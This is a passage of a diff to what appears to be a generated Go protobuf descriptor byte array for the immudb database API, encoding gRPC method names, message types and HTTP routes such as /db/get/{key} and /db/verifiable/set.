0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, - 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, 0x0c, - 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, - 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x3a, 0x01, 0x2a, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, + 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, + 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, + 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, + 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, + 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, - 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, - 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, - 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x50, - 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, - 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, - 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, - 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, + 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, + 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, + 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, + 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, + 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, + 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, + 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, + 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, + 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, + 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, + 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, + 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, + 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, + 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, + 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, + 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, + 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, + 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, + 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, + 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, + 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, + 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, + 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, + 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, + 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, + 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, + 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, + 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, + 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, + 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, + 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, + 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, + 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, + 0x01, 0x2a, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, - 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x7a, 0x61, - 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, - 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x22, 0x09, 0x2f, 0x64, - 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, + 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, + 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x50, 0x0a, + 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, + 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, + 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x64, + 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x7a, 0x61, 0x64, + 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, + 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x22, 0x09, 0x2f, 0x64, 0x62, + 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0e, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, + 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 